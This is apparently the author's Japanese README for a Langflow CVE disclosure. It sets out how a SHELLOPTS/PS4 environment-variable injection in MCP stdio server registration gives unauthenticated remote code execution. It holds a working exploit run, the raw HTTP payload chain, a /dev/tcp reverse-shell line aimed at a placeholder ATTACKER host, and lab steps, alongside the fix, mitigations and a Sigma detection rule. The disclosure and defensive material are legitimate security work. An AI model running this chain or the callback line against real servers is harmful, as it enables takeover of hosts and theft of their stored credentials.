
CVE-2026-12940 — Langflow OSS <=1.10.1 における、MCP stdio の環境変数インジェクション (SHELLOPTS/PS4) による未認証 RCE。作者による PoC + ソース解析 + ラボ。
Langflow OSS 1.10.1 以前における未認証のリモートコード実行(RCE)。MCP stdio サーバー設定を保護する環境変数ブロックリスト(DANGEROUS_ENV_VARS)には、SHELLOPTS、BASHOPTS、PS4 が含まれていません。MCP stdio ランチャーが設定されたコマンドを bash -c で実行するため、攻撃者は SHELLOPTS=xtrace と PS4 のコマンド置換を注入し、Langflow プロセスのユーザーとして任意のシェルコマンドを実行できます。有効な MCP コマンドは不要で、デフォルトインストールでは認証も不要です。
| CVE | CVE-2026-12940 |
| 製品 | Langflow OSS |
| 影響を受けるバージョン | 1.0.0 – 1.10.1 |
| 修正バージョン | 1.10.2 |
| 分類 | 環境変数インジェクションによる OS コマンドインジェクション(CWE-78) |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(IBM CNA) |
| 認証 | デフォルトインストールでは認証不要(1.10.1 では AUTO_LOGIN がデフォルトでオン) |
| ステータス | 脆弱性を確認済み — langflowai/langflow:1.10.1 でエンドツーエンドに検証 |
Langflow では、ユーザーが POST /api/v2/mcp/servers/{name} 経由で外部の MCP(Model Context Protocol)stdio サーバーを登録できます。リクエストボディは MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)によって検証され、command、args、および env のキーが注意深くチェックされます:
command は許可リスト(node、python、npx、uvx、docker、sh、bash…)に含まれている必要があります。args はシェルのメタ文字(;、|、$、`、(、)、…)と危険なキーワード(-c、eval、pip install、…)がないかスキャンされます。DANGEROUS_ENV_VARS(LD_PRELOAD、PATH、NODE_OPTIONS、PYTHONPATH、BASH_ENV、…)と照合されます。以下の 2 つのギャップが組み合わさることで RCE に至ります:
env の値は決してサニタイズされません。 ブロックリストと照合されるのはキーのみで、値 はそのまま渡されます。したがって、$(id) という PS4 の値は、args 内ではまったく同じ文字が拒否されるにもかかわらず、そのまま通ってしまいます。
ブロックリストは不完全です。 1.10.1 の DANGEROUS_ENV_VARS には shellopts、bashopts、ps4 が含まれていません。
ランチャー(src/lfx/src/lfx/base/mcp/util.py)は、Unix 上で次のように実行します:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
SHELLOPTS=xtrace を設定すると、bash は起動時に set -x を有効にし、最初にトレースされる行を実行する前に PS4 プロンプトを展開します。したがって、PS4 内のコマンド置換は即座に実行されます。これは command/args とは独立しており、それらが有効である必要すらありません。
ブロックリストは src/lfx/src/lfx/base/mcp/util.py 内に DANGEROUS_MCP_ENV_VARS として一元化され、shellopts、bashopts、ps4(および多層防御として env)が追加されました。schemas.py は is_dangerous_mcp_env_var() を呼び出すようになりました。以下の登録は 1.10.2 では HTTP 422 で拒否されます。
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
生の HTTP チェーン:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 は、リバースシェル / OAST コールバック用の生のプリミティブを提供します:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
修正版の境界(拒否されます):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
完全なキャプチャ済みトランスクリプトは EVIDENCE.txt、ソースレベルの解説は ANALYSIS.md を参照してください。
langflowai/langflow:1.10.1 で脆弱性を確認済み。2 つの独立した手法で検証されています:
出力が解決されたファイル書き込み — リクエスト前に存在しなかったファイルに、ターゲットの /etc/passwd に対して解決された id(1) の実際の出力である uid=1000(user) gid=0(root) groups=0(root) が含まれています。これは入力文字列 $(id …) のエコーではありません。
帯域外 TCP コールバック — ターゲットが実際のホスト名とカーネルを添えて攻撃者のリスナーにコールバックします(CALLBACK user@vbox 6.18.12+kali-amd64)。
langflowai/langflow:1.10.2 では修正済み — 同じ登録は HTTP 422 を返します。
未認証という主張に関する注意。 1.10.1 のイメージはデフォルトで
AUTO_LOGINが有効なため、/api/v1/auto_loginは資格情報を持たない任意の呼び出し元にスーパーユーザートークンを返します。これが、デフォルト構成で全体のチェーンが未認証となる理由です。認証が強制されているインスタンスでは、有効なトークン/API キーを持つ認証済みユーザーなら誰でも同じ RCE に到達できます(--tokenで渡します)。1.10.2 のイメージは起動に資格情報が必要になる点が追加されており、これは無関係な堅牢化です。
Langflow サービスアカウントとしての任意コマンド実行。Langflow データベース内のすべてのシークレット、資格情報、フローの完全な読み取り、内部サービスやクラウドメタデータへのアクセス、そして周囲のネットワークへのピボットが可能になります。
AUTO_LOGIN を有効にしたまま Langflow を信頼できないネットワークに公開しない。明示的なスーパーユーザー資格情報を設定し、自動ログインを無効にする。env にシェル制御変数が含まれる MCP サーバー登録と、Langflow プロセスの子である bash プロセスを探します:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma(プロセス生成):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).